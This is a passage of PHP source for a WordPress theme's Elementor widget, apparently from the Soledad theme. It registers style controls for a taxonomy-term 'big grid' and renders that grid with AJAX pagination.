			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border: 1px solid {{VALUE}};',
			),
		) );

		$this->add_responsive_control( 'bgitem_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgitem_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .penci-bgitin, {{WRAPPER}} .pcbg-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'title_design', array(
			'label'     => esc_html__( 'Term Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgtitle_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'bgtitle_color_hover', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-bgmain:hover .pcbg-content-inner .pcbg-title a' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgtitle_typo_big',
			'label'     => __( 'Title Typography for Big Items', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title a',
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgtitle_typo',
			'label'    => __( 'Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-content-inner .pcbg-title a',
		) );

		$this->add_control( 'desc_design', array(
			'label'     => esc_html__( 'Term Meta Text', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgdesc_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgdesc_link_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgdesc_link_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-meta,{{WRAPPER}} .pcbg-content-inner .pcbg-meta span, {{WRAPPER}} .pcbg-content-inner .pcbg-meta a',
		) );

		$this->add_control( 'excerpt_design', array(
			'label'     => esc_html__( 'Terms Description', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'excerpt_tcolor', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'excerpt_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->add_control( 'readmore_design', array(
			'label'     => esc_html__( 'View All Button', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'readmore_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'readmore_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border: 1px solid {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_hcolor', array(
			'label'     => __( 'Borders Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgreadm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn',
		) );

		$this->add_responsive_control( 'bgreadmore_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgreadmore_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgreadmore_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'add_icon_readmore', array(
			'label' => __( 'Add Icon to "View All" Button', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'readmore_icon', array(
			'label'     => esc_html__( 'Icon', 'soledad' ),
			'type'      => Controls_Manager::ICONS,
			'condition' => array( 'add_icon_readmore' => 'yes' ),
		) );

		$this->add_control( 'readmore_icon_pos', array(
			'label'     => esc_html__( 'Icon position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'right' => esc_html__( 'Right', 'soledad' ),
				'left'  => esc_html__( 'Left', 'soledad' ),
			),
			'default'   => 'right',
			'condition' => array( 'add_icon_readmore' => 'yes' ),
		) );

		$this->add_control( 'pagi_design', array(
			'label'     => esc_html__( 'Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'pagi_mwidth', array(
			'label'      => __( 'Load More Button Max Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'condition'  => array(
				'paging' => array( 'loadmore', 'scroll' ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'max-width: {{SIZE}}{{UNIT}};',
			),
		) );

		$this->add_control( 'pagi_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'pagi_hcolor', array(
			'label'     => __( 'Text Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hcolor', array(
			'label'     => __( 'Borders Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hbgcolor', array(
			'label'     => __( 'Hover & Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgpagi_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-pagination a, {{WRAPPER}} .penci-pagination span.current',
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->add_responsive_control( 'bgpagi_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!' => 'none',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}


	protected function render() {
		$settings     = $this->get_settings();
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		if ( isset( $_GET['bgstyle'] ) ) {
			$biggid_style = esc_attr( $_GET['bgstyle'] );
		}
		$overlay_type      = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos     = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display   = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy      = $settings['disable_lazy'] ? $settings['disable_lazy'] : '';
		$image_hover       = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay      = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani  = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$onecol_mobile     = $settings['onecol_mobile'] ? $settings['onecol_mobile'] : '';
		$sameh_mobile      = $settings['sameh_mobile'] ? $settings['sameh_mobile'] : '';
		$thumb_size        = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size       = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size       = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';
		$title_length      = $settings['title_length'] ? $settings['title_length'] : 10;
		$excerpt_length    = $settings['excerpt_length'] ? $settings['excerpt_length'] : 10;
		$readmore_icon     = $settings['readmore_icon'] ? $settings['readmore_icon'] : '';
		$readmore_icon_pos = $settings['readmore_icon_pos'] ? $settings['readmore_icon_pos'] : 'right';

		$wrapper_class   = $data_class = '';
		$flag_style      = false;
		$clear_fix_class = 'penci-clearfix ';
		if ( $biggid_style == 'style-1' ) {
			$data_class .= ' penci-dflex';
		} else {
			$data_class .= ' penci-dblock';
		}

		if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
			$flag_style    = true;
			$data_class    .= ' penci-fixh';
			$bgcontent_pos = 'on';
		}

		if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
			$bg_columns        = $settings['bg_columns'] ? $settings['bg_columns'] : '3';
			$bg_columns_tablet = $settings['bg_columns_tablet'] ? $settings['bg_columns_tablet'] : '';
			$bg_columns_mobile = $settings['bg_columns_mobile'] ? $settings['bg_columns_mobile'] : '1';
			$wrapper_class     .= ' penci-grid-col-' . $bg_columns;
			if ( $bg_columns_tablet ) {
				$wrapper_class .= ' penci-grid-tcol-' . $bg_columns_tablet;
			}
			$wrapper_class .= ' penci-grid-mcol-' . $bg_columns_mobile;
		}

		$wrapper_class .= ' penci-bgrid-based-custom penci-bgrid-custom penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
		if ( $flag_style && 'yes' == $onecol_mobile ) {
			$wrapper_class .= ' penci-bgrid-monecol';
		}
		if ( $flag_style && 'yes' == $sameh_mobile ) {
			$wrapper_class .= ' penci-bgrid-msameh';
		}

		if ( 'yes' == $settings['title_anivisi'] ) {
			$wrapper_class .= ' pcbg-titles-visible';
		}

		if ( 'yes' == $settings['apply_spe_bg_title'] ) {
			$wrapper_class .= ' pcbg-mask-title';
		}

		if ( 'yes' == $settings['apply_spe_bg_meta'] ) {
			$wrapper_class .= ' pcbg-mask-meta';
		}

		if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
			$wrapper_class .= ' textop';
		} else {
			$wrapper_class .= ' notextop';
		}

		if ( 'yes' == $settings['hide_subtitle_mobile'] ) {
			$wrapper_class .= ' hide-msubtitle';
		}
		if ( 'yes' == $settings['hide_readmore_mobile'] ) {
			$wrapper_class .= ' hide-mreadmorebt';
		}
		if ( 'yes' == $settings['ver_border'] && 'style-1' == $biggid_style ) {
			$wrapper_class .= ' pcbg-verbd';
		}


		$ars_terms = array(
			'taxonomy'     => $settings['term_name'],
			'hide_empty'   => $settings['hide_empty'] ? true : false,
			'orderby'      => $settings['orderby'],
			'order'        => $settings['order'],
			'hierarchical' => $settings['hierarchical'] ? true : false,
		);

		/*if ( $settings['taxonomies_inc'] ) {
			$ars_terms['include'] = $settings['taxonomies_inc'];
		}*/

		if ( $settings['taxonomies_ex'] ) {
			$ars_terms['exclude'] = $settings['taxonomies_ex'];
		}

		if ( $settings['number'] ) {
			$ars_terms['number'] = $settings['number'];
		}

		$settings['block_query'] = $ars_terms;

		$block_id            = 'pcblock-' . rand( 0, 9999 );
		$settings['blockid'] = $block_id;
		add_action( 'penci_block_title_extra_' . $block_id, function () use ( $settings ) {

			$link_group_out = $link_group_out_before = $link_group_out_after = '';

			$data_settings_tabs                       = array();
			$data_settings_tabs['query']              = $settings['block_query'];
			$data_settings_tabs['style']              = $settings['style'];
			$data_settings_tabs['overlay_type']       = $settings['overlay_type'];
			$data_settings_tabs['bgcontent_pos']      = $settings['bgcontent_pos'];
			$data_settings_tabs['content_display']    = $settings['content_display'];
			$data_settings_tabs['disable_lazy']       = $settings['disable_lazy'];
			$data_settings_tabs['image_hover']        = $settings['image_hover'];
			$data_settings_tabs['text_overlay']       = $settings['text_overlay'];
			$data_settings_tabs['text_overlay_ani']   = $settings['text_overlay_ani'];
			$data_settings_tabs['thumb_size']         = $settings['thumb_size'];
			$data_settings_tabs['bthumb_size']        = $settings['bthumb_size'];
			$data_settings_tabs['mthumb_size']        = $settings['mthumb_size'];
			$data_settings_tabs['bg_postmeta']        = $settings['bg_postmeta'];
			$data_settings_tabs['show_readmore']      = $settings['show_readmore'];
			$data_settings_tabs['excerpt_length']     = $settings['excerpt_length'];
			$data_settings_tabs['hide_meta_small']    = $settings['hide_meta_small'];
			$data_settings_tabs['hide_excerpt_small'] = $settings['hide_excerpt_small'];
			$data_settings_tabs['hide_rm_small']      = $settings['hide_rm_small'];
			$data_settings_tabs['title_length']       = $settings['title_length'];
			$data_settings_tabs['excerpt_length']     = $settings['excerpt_length'];
			$data_settings_tabs['readmore_icon']      = $settings['readmore_icon'];
			$data_settings_tabs['show_formaticon']    = isset( $settings['show_formaticon'] ) ? $settings['show_formaticon'] : '';
			$data_settings_tabs['readmore_icon_pos']  = $settings['readmore_icon_pos'];

			$ppp = isset( $data_settings_tabs['query']['number'] ) ? $data_settings_tabs['query']['number'] : get_option( 'posts_per_page' );

			$link_group_out_before .= '<nav data-paged="1" data-number="' . $ppp . '" data-query_type="ajaxtab" data-layout="' . esc_attr( $settings['style'] ) . '" data-settings="' . htmlentities( json_encode( $data_settings_tabs ), ENT_QUOTES, "UTF-8" ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$link_group_out_after  = '</ul></nav>';


			if ( 'nextprev' == $settings['paging'] ) {
				$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
			}

			if ( $link_group_out ) {
				wp_enqueue_script( 'penci_ajax_filter_terms_bg' );
				echo $link_group_out_before . $link_group_out . $link_group_out_after;
			}
		} );

		$big_items    = penci_big_grid_is_big_items( $biggid_style );
		$paging_align = $settings['paging_align'];
		?>
        <div class="penci-clearfix penci-biggrid-terms-wrapper penci-biggrid-wrapper<?php echo $wrapper_class; ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                <div class="penci-biggrid-inner default">
					<?php
					$bg = 1;

					$biggrid_items      = get_terms( $ars_terms );
					$num_posts          = count( $biggrid_items );
					$post_meta          = $settings['bg_postmeta'];
					$hide_meta_small    = $settings['hide_meta_small'] ? $settings['hide_meta_small'] : '';
					$hide_excerpt_small = $settings['hide_excerpt_small'] ? $settings['hide_excerpt_small'] : '';
					$show_readmore      = $settings['show_readmore'] ? $settings['show_readmore'] : '';
					if ( ! empty( $biggrid_items ) ) {
						echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
						foreach ( $biggrid_items as $setting ) {
							$is_big_item         = '';
							$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
							$surplus             = penci_big_grid_count_classes( $bg, $biggid_style, true );
							$thumbnail           = $thumb_size;
							$post_count          = $setting->count;
							if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
								$thumbnail   = $bthumb_size;
								$is_big_item = ' pcbg-big-item';
							}
							if ( penci_is_mobile() ) {
								$thumbnail = $mthumb_size;
							}

							if ( ! $is_big_item ) {
								if ( 'yes' == $hide_meta_small ) {
									$hide_meta_small_flag = true;
								}
								if ( 'yes' == $hide_excerpt_small ) {
									$hide_excerpt_small_flag = true;
								}
							}

							$image_url = get_default_term_thumb_url( $setting->term_id, $thumbnail );

							/* Get Custom Items Data */
							$item_id     = ' elementor-repeater-item-' . $setting->term_id;
							$image_ratio = penci_get_ratio_size_based_url( $image_url );

							$title      = $setting->name;
							$title_link = get_term_link( $setting->term_id );
							$title_attr = '';

							$desc = $setting->description;

							include dirname( __FILE__ ) . "/category.php";

							if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
								echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							}

							$bg ++;
						}
						echo '</div>';


					}
					?>
                </div>

				<?php
				$paging = $settings['paging'];


				if ( 'loadmore' == $paging || 'scroll' == $paging ) {
					$data_settings                       = array();
					$data_settings['query']              = $ars_terms;
					$data_settings['style']              = $biggid_style;
					$data_settings['overlay_type']       = $overlay_type;
					$data_settings['bgcontent_pos']      = $bgcontent_pos;
					$data_settings['content_display']    = $content_display;
					$data_settings['disable_lazy']       = $disable_lazy;
					$data_settings['image_hover']        = $image_hover;
					$data_settings['text_overlay']       = $text_overlay;
					$data_settings['text_overlay_ani']   = $text_overlay_ani;
					$data_settings['thumb_size']         = $thumb_size;
					$data_settings['bthumb_size']        = $bthumb_size;
					$data_settings['mthumb_size']        = $mthumb_size;
					$data_settings['bg_postmeta']        = $post_meta;
					$data_settings['show_readmore']      = $show_readmore;
					$data_settings['excerpt_length']     = $settings['excerpt_length'];
					$data_settings['hide_excerpt_small'] = $hide_excerpt_small;
					$data_settings['hide_rm_small']      = $settings['hide_rm_small'];
					$data_settings['title_length']       = $title_length;
					$data_settings['readmore_icon']      = $readmore_icon;
					$data_settings['show_formaticon']    = $settings['show_formaticon'];
					$data_settings['readmore_icon_pos']  = $settings['readmore_icon_pos'];
					$data_paged                          = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

					$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, "UTF-8" );

					$button_class = ' penci-ajax-more penci-bgajax-more-terms-click';
					if ( 'loadmore' == $paging ):
						wp_enqueue_script( 'penci_bgajax_more_terms' );
					endif;
					if ( 'scroll' == $paging ):
						$button_class = ' penci-ajax-more penci-bgajax-more-terms-scroll';
						wp_enqueue_script( 'penci_bgajax_more_terms_scroll' );
					endif;
					?>
                    <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                        <a class="penci-ajax-more-button" aria-label="More Items" href="#"
                           data-layout="<?php echo $biggid_style; ?>"
                           data-settings="<?php echo $data_settings_ajax; ?>"
                           data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
                           data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_items' ); ?>">
